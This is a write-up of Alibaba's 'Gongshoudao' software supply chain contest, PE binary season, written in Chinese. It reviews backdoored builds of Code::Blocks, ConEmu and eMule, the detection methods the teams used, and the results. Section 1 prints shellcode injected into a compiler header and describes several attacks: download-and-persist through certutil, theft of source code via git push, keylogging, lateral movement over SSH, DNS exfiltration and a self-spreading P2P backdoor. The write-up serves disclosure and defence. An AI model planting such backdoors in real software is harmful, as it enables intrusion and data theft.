『功守道』软件供应链安全大赛·PE二进制赛季启示录

『功守道』软件供应链安全大赛·PE二进制赛季启示录
『功守道』软件供应链安全大赛·PE二进制赛季启示录

0. 在一切开始前

诚信声明

虽是老生常谈,但安全的同一水位面前,木桶永远有长板短板,风险值得最高警惕。如前文所比喻,软件供应链安全的问题,无异于潘多拉的盒子。我们的比赛,通过在限定框架范围,打开魔盒释放出一定、低害但超出早先人们认知的进程恶意,将其公之于众,以使得人们对其不再毫无防备,从而能够前摄性的研发对应的解决之道。

因此类似针对C源代码赛季的要求,在此我们仍需要特别强调:本文中所列举的所有恶意代码,仅用于彰显那些当前有安全人员可能想到的恶意行为;考虑到真正的威胁永远源于未知,这些题目所搭载的恶意行为类型,实质上在曝光的同时就已经失去最大威胁,但由于信息不对等,在真实场景仍然可能会被利用。所以所有读者需要在阅读同时,自我保证绝不会将这里的思路,以及由此延展出的思维用于真实场景。

赛题处理与披露

考虑到本次比赛赛题不是传统恶意软件,由主流杀毒软件引擎无法检出,为防止流失到社会上造成真实风险,组织方尽量保证题目不传播、不外泄、可判别。

软件在启动过程中增加了弹框进行“软件特殊场景拷贝、存在恶意代码”的警示,并对启动过程相关函数进行加壳混淆,初步保证无法直接将二进制进程文档被直接流失到外部扩散使用。除此以外,我们将三款被修改软件中存在恶意代码片段的文档SHA256公开,用以引导业界相关检测方对这些文档的发现和响应:

“# Code::Blocks 
f8f59f4a417a1cc6006a0826ae8863e64f565df8478657a8635a9d321c908539 autorevision.exe
22808cb74a5e038958813d999ae214b06d08321f597ee436a1e8c53716c2dccc cb_console_runner.exe
6eeca307be321870c6a0a0c91f0665649e2470334e7372dd9701d91545fd6660 codeblocks.dll
8bceffd76ddfab3861c657695765bc1bdc092617cd677cd63a1cf5f7e7fec146 codeblocks.exe
1339b2de06cf83b2f7c6f83b48f1bc8a3d64f696788293e86c4a0dea4a62274c abbreviations.dll
f9ab0deb5c87aefec6c32589c640de1a06838d5cdcc5cac7ca251623053bf2d4 autosave.dll
4517a8bdd5993d2b438cefafe2c06e2dc3baba6b6194bb3a9dd2bf36f764d636 classwizard.dll
9f1a28d998343a6395c3bb07cc92d893e076f0ba89f50e4f7fc7b622910a7b7f defaultmimehandler.dll
5cfcb7f143f11e7b152d546da36031a7464e112e0fa056e99a8af9fb563bd01e debugger.dll
1bc7cc00b2325c358c018e64e5aa8de4cb3db962ccd529929544a33ca262977e compiler.dll
06e0a16353d50e03e9f7026b58f5317e27c1925aa0465551a4b091dfe87583d3 EditorConfig.dll
b92b5be5da0fa1b01d823a8dab1b73f45e984c274a0b17b3938495dcd485f976 FileManager.dll
249ed7e1c91f7289487f28b2dcc759e6eea2615a63a255b906a9f543f0690c23 openfileslist.dll
f90c8fd13af6347a408ddb968ebc7560240ef053bb9f52f461a25ee33f1b9153 xpmanifest.dll”
“# ConEmu 
887f4627e0da26a50851634ecef7106bbcc5b1db3a510450cad2757edf4d333d ConEmu.exe
4f71dbf6f95a3702d81de7eb7f1f7470821bad58d944f922033900b3a58e63ea ConEmuC.exe
37e66ee0b610e2070bb3eca935805e96a9dc12a49ddf03eca550777d184d05e3 ConEmuCD.dll”
<em>“# eMule</em> 
09e6a93b6cc560f3d50482415cd95d0dabe993a3a8c8f2912ffb6d73b95d4f66 emule.exe”

1. 出招!蓝军出题方经典题目赏析

在本节中,我们将精选一些出题方的题目进行展示。其中一些具有代表性,透露出所有参赛队在考虑针对PE可执行文档、针对Windows系统、针对个人办公和开发软件环境这个限定的场景下,结合经验、发挥脑洞之下,能够设想出来的软件供应链新型攻击的一般模式和套路;而另有一些具有突破性,是令组织方收齐题目看到后也非常赞叹其立意之新颖、实现之巧妙的题目。希望通过这有限几道题目的展示,能够让大家对于这一限定场景下威胁的真实性、迫切性、发散性,有和我们相同的感知。

开发环境污染1:从“头”做起

在第一轮比赛,选定的载体是Code::Blocks,一方面限定了题目本身需要从这样的IDE环境中触发,一方面提供了可以将围绕这款软件以及一般性的开发环境为攻击、污染目标的想象空间。

这里的第一道题目形式较为简单,思路非常经典。恶意代码存在于Code::Blocks的一款官方插件autosave中,题目部分代码如下:

『功守道』软件供应链安全大赛·PE二进制赛季启示录
『功守道』软件供应链安全大赛·PE二进制赛季启示录

该题的最终目的是使任何通过 MinGW 编译后的项目都存在攻击者放置的后门。IDE 里的投毒代码在自动保存时触发,通过向软件自带安装的 MinGW 默认路径(C:Program Files (x86)CodeBlocksMinGWlibgccmingw325.1.0includec++iostream)的头文档放入恶意代码,使得任何经过该 MinGW 编译且包含了 iostream 的项目存在攻击者放置的后门。

iostream 中的后门将先于 main 函数执行,实现方式为在 iosteam 中添加如下代码:

class AliSoftSec {

public:

AliSoftSec() {

unsigned char code[] = “x68x7fx01x01x01x5ex66x68xd9x03x5fx6ax66x58x99x6ax01x5bx52x53x6ax02x89xe1xcdx80x93x59xb0x3fxcdx80x49x79xf9xb0x66x56x66x57x66x6ax02x89xe1x6ax10x51x53x89xe1xcdx80xb0x0bx52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53xebxce”;

int ( ret)() = (int ( )()) code;

ret();

}

} softsec;

针对开发者本地开发资源进行源头污染,污染部分代码本身没有体现在安装包内自带 MinGW 的头文档明文之中。为实现攻击特征字符串避免被解题者直接人工察觉,使用了简单的字符串编码,这种方法在本次比赛中,由所有队伍不约而同地使用;该方案可以规避静态扫描,在动态测试方案中失效。这道题目在一定的隐藏性之余,实现了恶意行为的“从头做起”。

开发环境污染2:重装上阵

第二道针对Code::Blocks的题目,我们选择了一道设计完善、链路复杂且具有隐蔽性的题目,其恶意代码直接植入到了codeblocks.exe主进程文档中,CodeBlocksApp::OnAppActivate函数内容。该部分原始题目代码如下:

『功守道』软件供应链安全大赛·PE二进制赛季启示录
『功守道』软件供应链安全大赛·PE二进制赛季启示录

本道题目意图为修改cpp源文档默认打开方式为恶意进程。实现方式为:开发机器上存在大量cpp格式源文档,若修改cpp文档打开方式为指定恶意进程即可实现对cpp文档的读写删改等操作。本题在Windows“轻松访问”注册表键创建一个恶意的“轻松访问”项,使得机器启动或者桌面切换(例如触发UAC)时执行恶意“轻松访问”项指定的进程certutile.exe,certutile.exe从服务器下载恶意进程codeblocks_opencpp.exe后,将cpp文档的默认打开进程修改为codeblocks_opencpp.exe。

本题集恶意利用、持续驻留、持续更新于一体,codeblocks_opencpp.exe实现恶意利用、恶意“轻松访问”项实现持续驻留、植入位置OnAppActivate是一个会被持续执行的函数,它将与certutil.exe一起持续从服务器上下载恶意进程以保持持续更新。此外,恶意代码会判断当前进程权限以决定修改哪个用户下的注册表项。

值得一提,在整个函数中,恶意代码的代码比例、位置和结构可视化如下图,也许会给人一些想法上的启发:

『功守道』软件供应链安全大赛·PE二进制赛季启示录
『功守道』软件供应链安全大赛·PE二进制赛季启示录

本道题目的亮点在于巧妙实现了完整的攻击链路,同时因为修改特定文档关联是该IDE软件本身就有的行为,所以该部分代码从行为和字符串等静态特征上,与载体具有一定的逻辑混淆性。

开发环境污染3:登堂入室

第三道针对Code::Blocks的题目,我们选择了一道令人胆颤的题目。考虑前两道题目,无论是针对开发头文档资源的污染,还是针对系统和软件环境的篡改,着眼点都是在恶意进程寄存的电脑本身;而针对该电脑用户所在的企业、电脑接入的内部网络环境、开发资源所述的企业代码本身,这些真正有价值的目标,并没有实现攻击扩散。而这里的这道题目,从思路上完成了更大的野心。

该题目存在于Code::Blocks的官方插件compiler.dll中,原始代码如下,其中选定部分为恶意行为载荷:

『功守道』软件供应链安全大赛·PE二进制赛季启示录
『功守道』软件供应链安全大赛·PE二进制赛季启示录

本题中插入恶意代码,调用主机中的Git将当前的git项目上传到指定的服务器(这里上传至github),从而完成对互联网企业最核心资产——源代码的窃取和泄漏。

观察其实施链路,为了将用户当前的git项目上传至指定的git服务器,代码一共做了如下操作:保存用户当前的ssh公私钥—>用自己的公私钥覆盖用户的公私钥—>获取当前git项目的目录—>判断当前git项目是否存在origin,添加或修改origin—>将git项目push到git服务器—>删除或恢复origin,删除临时文档,恢复用户的ssh公私钥。

整体实现细节中值得注意的地方有:

• 采用批处理(.bat)的方式来实现执行多条指令,同时为了避免执行批处理时出现的黑色弹框,采用vbs间接调用bat的方式。

• 执行git命令需要在当前项目的目录下,这里通过codeblocks源码中的m_pBuildingProject->GetBasePath()来获取当前项目的根目录,借用载体本身的接口,发生了交叉引用,可规避对于仅观察与工程其余部分完全没有交叉引用的解题思路的发现。

• 为了不让恶意代码的执行阻碍codeblocks的正常编译,使用Windos系统API ShellExecuteA来执行.vbs脚本。这种方法本身在动态执行时特征比较容易被察觉,但是对于批量文档静态扫描,则没有太过突兀的特征。

• 删除临时文档以及恢复公私钥时,需要等git项目push完毕后才行,这里的时间无法预知,因此这部分的实现也放在bat脚本中(bat、vbs脚本均是动态生成、动态删除)。

本地客户端污染1:暗度陈仓

第二轮分站赛,组织方选定了两款客户端软件作为恶意行为载体,其中一款本地客户端为ConEmu终端仿真器。该软件听起来比较小众,但是实际上被作为引擎用于多种其它增强型终端的底层,如广泛使用的cmder。同时,该软件功能强大,涉及到大量的底层甚至hackish的操作去实现特定的功能,例如对所执行的控制台进程默认挂钩进行交互和渲染等。

选择这款软件的初衷,也是希望出题队能够借用载体本身的实现、机制,完成更有意思、更具有侵入性的供应链攻击行为,并更深层次地实现恶意代码的藏匿,削弱其独立性以规避检测。这里举例的这道题目比较好的体现了这样的意图。

这道题目选取了ConEmuCD模块(关于该软件的主要组件作用可参考官方说明)当中的LLKeybHook函数,添加的代码量较小,如下,

『功守道』软件供应链安全大赛·PE二进制赛季启示录
『功守道』软件供应链安全大赛·PE二进制赛季启示录

本题利用ConEmu自身SetWindowsHookEx对键盘的输入的hook,使用少量的修改将用户的操作命令记录到TEMP目录指定文档中。其中比较巧妙地规避了可能令解题队察觉的几个细节有:

• 利用进程自带的hook函数进行操作,减少不必要的API调用,以少量的代码达到攻击的目标;

• 使用char s[] = {‘a’,’b’,’c’}的形式避免字符串被直接检索;

• 使用进程本身包含的CreateFile、WriteFile以及SetFilePointerEx,避免引入其他API。

同时,考虑到有队伍考虑从函数代码中,辨别是否有功能可独立切片的代码部分,作为恶意植入的代码片段的特征;这道题目也可成功规避这样的检测,其中恶意代码部分在整个函数中的位置和比例如下图所示。

『功守道』软件供应链安全大赛·PE二进制赛季启示录
『功守道』软件供应链安全大赛·PE二进制赛季启示录

本地客户端污染2:得寸进尺

在选择第二轮比赛的本地客户端软件载体时,选取了ConEmu这样一款终端类软件而非一般的文档、图像等处理类软件,主要看中的是其使用场景,往往是很多登录企业测试、预发、线上服务器的客户端工具,其中也集成了这样的功能,因此以此为渠道将攻击横向移动到企业服务器上,是一个最小代价实现最大化目标攻击效果的方法。

ConEmu当中的这样一道题目是,在ConEmuCD动态库模块中,将恶意代码植入到Queue.cpp文档中,影响终端中在远程网络会话中,输入控制的环节,恶意代码存在于SendConsoleEvent函数:

『功守道』软件供应链安全大赛·PE二进制赛季启示录
『功守道』软件供应链安全大赛·PE二进制赛季启示录

这里选取的载体函数,巧妙选定在了客户端处理向网络会话中发送特殊字符的功能位置。当用户使用 SSH 连接内网其他主机时,触发后门并且自动在该内网主机上执行 downloader,以巧妙达到横向感染其他主机的目的。当然,这里仅仅是提供了一个从本地到远程、从个人PC到背后更大的企业网络环境主机的攻击升级的渠道;在ssh远端主机上可发动的下一步软件供应链攻击更加多样化,这样就可以将C源代码赛季的花招进行集成复用了。

本地客户端污染3:有的放矢

在本次比赛当中有一个倾向性,认为软件供应链上存在的污染和恶意行为,既然初时需要以充分的准备(无论是技术渗透还是社会工程)来达成攻击的前置条件,那么恶意行为必然不会是容易被觉察的、以破坏为主的传统攻击;在当下我们能考虑到的,应该是会以长期潜伏、获取具有资产价值的重要数据为主。但这也引入了一个问题,怎样的数据算作这样的目标数据呢?在第一个C源代码赛季,在限定了线上生产环境和服务端软件系统这个场景下,由主办方提供了一个大致的范围列表和例子,出题队恶意代码窃取数据的范围也基本没有超出这个圈定。但是在更灵活的场景下,比如PC环境,问题就不再那么容易限定。

针对ConEmu这个题目载体软件,几支出题队结合软件自身行为和意图,在如下这几个点,直接获取了软件本身所采集的具有一定价值的数据,比较具有代表性:

• ConEmu主进程模块,Settings::HistoryLoad函数,用来导出、导入在终端中用户输入的命令历史。在此处植入了极小量的代码,直接将本地记录有命令历史的文本数据编码后传出,实现了泄漏。考虑到作为一款基础的终端软件,ConEmu集成了cmd、powershell、WSL、cygwin、ssh客户端、git bash等多种会话,其本地记录的命令显然会暴露大量操作敏感信息,甚至会暴露用户连接到公司后台的操作数据。

• ConEmu主进程模块,DumpImage函数,用来实现一个内建的截屏功能。屏幕信息包含的数据显然同样具有很大的数据量,例如,考虑到一般用户的使用场景,截屏功能比较可能针对屏幕上显示代码、关键配置数据、进程或远程错误信息等情况下使用,而这些都会造成本地或远程敏感信息不保。

• ConEmuCD动态库模块,ApplyProcessSetEnvCmd函数,是终端启动时配置环境参数命令的功能函数。在此中设置代理,将代理指向攻击者控制的服务器,而后终端里的网络流量被攻击者劫持。

• ConEmu主进程模块,CConEmuUpdate::wininet::Init函数,插入恶意代码,在ConEmu进行升级的时候,模仿Xshell Ghost信息搜集阶段的操作,搜集本级IP地址,使用gethostbyname进行DNS请求方式将信息传出。

以上的信息泄露点都比较巧妙地借用了载体模块和代码本身的正常逻辑和函数调用串行,实现自身的功能以及隐藏。当然,题目都受制于比赛本身对于出题的限制,而如果脱离比赛中对于一定需要仅改动单个函数等要求,这些恶意行为本可以更加巧妙,例如上述更改的地方仅用于做数据的上游采集,而对应的数据泄露环节,可以复用进程本身的网络相关函数,调用链路也可以进行一定隐藏。

同时,更值得引起思考的是,对于泛化的软件,应该如何定义这样需要监控的“敏感数据”。数据的敏感程度,往往应该是与具体的软件、执行环境甚至操作上下文相关才可判定的。例如,如果仅凭一个确定的、通用的知识库来进行数据外传是否涉及敏感信息泄漏,那么截屏是否触网?从数据采集到外传,如果做了数据本身的集成和遮掩,例如对数据的特定范围进行星号替换,那么如何判别敏感部分是否得到了有效脱敏?种种问题,已经无法通过确定的知识进行判别;即便是通过机器学习,也应该没有合理的解决办法,毕竟问题是发散的,不可能有足够的黑样本进行全集学习。也许面对这样的问题,类似“SDN”的概念,需要有一种“软件定义敏感数据”的新的方法论来解决。

网络客户端污染:举一反三

第二轮比赛另外选择了一款网络客户端软件作为题目载体,选用目标为老牌p2p客户端软件eMule。作为软件供应链攻击,多数恶意行为都需要网络行为作为其中数据传入或传出的关键一环,因此在网络客户端中既可以实现这样行为的隐藏,更方便借用软件本身的功能模块代替执行数据流转。而选取了p2p更是看中了其不同寻常客户端的网络行为模式,其中本地数据的上传下载、搜索、网络扩散的行为本身,也为恶意行为提供了可能。

这里首先展示的一道题目借用了p2p这样的模式,实现了一个类p2p传播的后门,代码部分如下:

『功守道』软件供应链安全大赛·PE二进制赛季启示录
『功守道』软件供应链安全大赛·PE二进制赛季启示录

如代码当中清晰的注释所述,该自传播后门意图为,当用户使用该功能时,会自动搜索特定文档(EmuleWelcome.jpg),一旦找到则 自动下载,同时自动将该文档分享,并自动解析该jpg文档中隐藏指令执行。具体实现方式:

  1. “Search”按钮点击时,
  2. 先判断“下载区”是否有EmuleWelcome.jpg,有则复制到“分享区”,若分享区不存在则自行创建 (保证传播性)
  3. 执行EmuleWelcome.jpg中嵌入的命令 (保证后门指令能执行)
  4. 篡改本次搜索关键字,追加 “ OR EmuleWelcome.jpg”,保证搜索时能发现到该文档(保证传播性)
  5. 通过lambda表达式生成一个线程函数,通过CreateThread启动它,该线程通过判定搜索结果中是否有EmuleWelcome.jpg,若有自动选中自动下载存于“下载区”
  6. 好了,跳转步骤0。
    这道题目功能逻辑设计完整,行为模式与载体相融合,在保证了针对动态行为检测的欺骗性同时,实现了跨越单机领域,在办公网络和公网环境下最大的施展空间。

2. 接招!红军解题方思路参照

针对PE赛季,在策划之时进行了工作量的大致测算。虽然最终发布的题目,每一轮只有一两个软件,组件量也有限,但是考虑到当前针对二进制文档可行的分析方法,相比于源代码扫描要有倍率的放大,因此最终无论是选定的软件规模还是题目数量,配合每轮2小时的解题时间,实际上都形成了这样的效果:传统针对二进制进程做粗粒度扫描、规则匹配的类似杀毒软件引擎的方案,均无法针对题目类型奏效;单纯人工方法的静态或动态的分析测试,限定时间内注定无法发现超过3成的问题;而仅有自动化方法唯一出路的前提下,2小时时长基础上更加延长时间也基本无助于自动化工具的效果加强。

传统方法中,静态的黑盒分析,针对这样一些非传统恶意行为特征的问题目标,需要将方法粒度细化,因此多数队伍最终落到了基于进程文档反编译,在伪代码层面进行源代码扫描的方案。这样的方法原则上是解决这样一类问题的唯一出路,毕竟恶意行为是语义层面的,因此也只能通过对语义的还原来进行分析和推断。另外,学术界所偏爱的动态黑盒分析测试,针对本次比赛的很多题目而言,具有天然优势,例如针对编码的特征字符串、混淆的控制流而言,动态执行至少是静态分析的必要补充工作;但动态分析固有的限制在于其测试完备性无法保证,即便是针对本次比赛,所属题目没有放置在冷僻的控制流分支上,经过有限用户交互可达,动态方法也无法保证针对大范围代码、功能的全面自动化覆盖,因此在本次比赛中,或者说在规模化二进制进程软件供应链安全保证方面,单纯动态分析方法可能都需要更多改进。

而无论是出于比赛本身的抽象,还是二进制进程与软件分发的特殊性而言,除了上述方法,也还有针对问题更加低开销且有效的方案。PE赛季中,来自国防科技大学的holiday一枝独秀,特别是在第二轮比赛后发制人,以不错的成绩和加权总分赢得了该赛季冠军,思路简单、对症、有效,以下对其提供的writeup进行简单介绍。

方案一:静态启发式检测

• 基于栈隐藏的检测。

编译器进程通常会将源码中所用的数据存放于数据段中,代码及数据特征明显,如果存在恶意行为容易被定位。而恶意后门通常善于利用进程栈来隐藏自身信息,难以通过简易的特征码、字符串被检测出来。通过栈静态分析配合动态模拟,可跟踪栈内容的变化。而常规编译产生的进程对栈利用与恶意进程通常有着一定的区别,利用栈分析可定位出可能存在恶意行为的代码片段。

• 基于动态shellcode执行的检测。

后门进程片段可能仅为简单的载体而没有实际的恶意行为功能,而动态执行通常是这类后门的常用手段。常规的进程通常不会采用这类技术手段。静态跟踪内存的变化以及进程是否存在动态执行行为可定位出这类后门。

• 基于常用加密算法检测。

后门代码通常会采用一些加密算法隐藏自身内容,如BASE64,XOR等。采集进程所采用的加密算法,跟踪解密内容所产生的行为链可鉴别出是否存在恶意行为。

• 基于行为链的分析。

恶意行为的鉴别最终需要对进程所产生行为进行收集分析,这其中包括对PC系统所产生的影响,对用户敏感信息的处理,以及恶意网络连接、文档操作等行为。

对系统API的调用关系是行为链分析的重点。通过静态分析生成模拟的语法树,通过树节点通达关系生成代码段的行为链。从主动防御的角度出发,对于恶意的行为我们通常可以归纳总结出特征明显的恶意行为链。通过行为链的比对匹配可鉴别进程是否存在恶意行为。

方案二:静态进程比对分析

通常我们能取得目标软件的二进制代码甚至源码,显然我们可以取到一个相对可信的进程版本。在存在可信进程版本的情况下,可能通过二进制比对实现对可疑进程行为的鉴别。我们开发了自己二进制代码比对系统,采用集群方式对二进制文档进行分布式的并行处理。

二进制静态比对系统体系结构

系统结构如下图所示。系统分为前端、后端、图数据库三部分。前端用于接受比对文档,利用IDA提取二进制文档的函数粒度的特征。后端分布并行化运行多个分析进程,对输入文档进行函数粒度的相似度比较。图数据主要用于对二进制文档特征的保存。

『功守道』软件供应链安全大赛·PE二进制赛季启示录
『功守道』软件供应链安全大赛·PE二进制赛季启示录

二进制比对算法

我们实现了多个二进制比对算法。主要包括:

• 基于FCG的图比对算法:图比对的目的找出两个图中节点的映射关系。对于二进制代码,函数调用图(FCG)是描述函数调用关系的图。它反映了进程的结构和内部特征。FCG较不易受到恶意代码中指令混淆的影响。提出了一种基于匈牙利算法的FCG匹配算法。FCG匹配的目标是在两个FCG之间确定相似的节点对。假设一个带权二分图,其两部分是两个FCG的节点集,边的权重等于两个节点之间的相似度,通过找到最大权重匹配,可以解决FCG匹配问题,从而得到相似函数对。

• 基于函数签名距离的比对算法:函数签名定义为一个矢量,矢量的各个维度为函数的特征,这些特征组合起来能够表示出函数的特异性。我们采用了函数的基本块数目( α ),CFG中的边的数目( β ),分支指令的数目( γ ),指令的总数( λ ),变量的大小( μ ),子函数的数目( ν ),字符常量集合( S ),立即数集合( I )。因此一个签名可表示为:V = {α, β, γ, λ, μ, ν, S, I} 。通过函数签名,我们能够快速定量地计算出两个函数之间相似度。

在二进制比对结果上进行检测

在二进制比对结果的基础上,对已匹配函数进行人工检查,或者应用方法一进行进一步启发式检测。我们实现响应插件的运行结果如图所示。

『功守道』软件供应链安全大赛·PE二进制赛季启示录
『功守道』软件供应链安全大赛·PE二进制赛季启示录

3. 总结

排名与数据

本赛季两轮比赛之间没有难度区分,因此不设定分数权重。题目数量,两轮分别为44/46道,按每题得分10分、每个错误答案扣5分计,因此赛季满分900分。最终本赛季有效参与队伍9支,其中前列队伍排名与分数如下:

『功守道』软件供应链安全大赛·PE二进制赛季启示录
『功守道』软件供应链安全大赛·PE二进制赛季启示录

攻守形势分析与展望

从以上队伍排名和总分可以观察得出结论,至少从比赛结果来看,本赛季出题(蓝军)队伍实现了对解题队伍的碾压,最佳队伍单场解题率约1/3,整体解题率全部低于1/4。

这样的最终局面,也符合早先的预期。考虑到针对二进制进程进行分析,截至目前仍然是以人力、专家经验为主,所解决的问题也都是传统固定类型;因此,本次比赛可以说是一种全新的形式,所需要的方案和能力也必须是突破性的。在这样的考虑下,不足50%的解题率是计划之内的结果。

从源代码到二进制进程文档,在编译和分发过程中,表示进程意图的语义信息本就经历了不可逆的削弱和消除,因此基于反编译后的伪代码进行细粒度分析,本身就需要一定程度的“猜解”,这是考察工具开发者已有工具沉淀和功力的方面;经过对部分解题队的走访,很多队伍在此方面有一定的原型设计,但是考虑到C++语言开发的二进制进程反编译后相比于纯C语言的大量特性无法在伪代码层面予以还原,因此在实战方面的缺失造成了基于这个方法论的队伍的低迷。

而仅仅考虑本赛季设计的场景,如上述红军队伍解题思路所述,在简化的问题域上可以有一些短期有效的方案,例如二进制跨版本比对。在当前,我们还没有显式发现类似的问题爆发,这样的方法也将在很长一段时间内有效。但是有两个问题需要放在长远考虑:一方面,如前述题目可见,结合载体软件逻辑的少而精的恶意代码,完全可以做到对这样检测方法的规避,避免使用特殊API、与原始代码做较多交叉引用和纠缠削弱独立性、隐藏特征静态资源,且在题目以外,还可以使用很多自我保护技术,这些都是现在就已经可以实现的、令上述方法无效的方案;另一方面,我们甚至无法保证现有的二进制进程本身,或者其历史版本当中,存在干净的版本可供比对;如果是存在被开发者或恶意开发人员蓄意引入的后门类行为,那么这样的片段根本无从发现。因此,这样的方法虽然在本次比赛中脱颖而出,但长期来看,只能作为近期的过渡,以及未来的补充或者粗线条过滤。

下一代真正可能有效的方案,业界的各位又有什么想法?欢迎与我们联系探讨,助力业界解决方案的成形。想要了解更多,不如加入我们的比赛: https://softsec.security.alibaba.com 一起探索交流。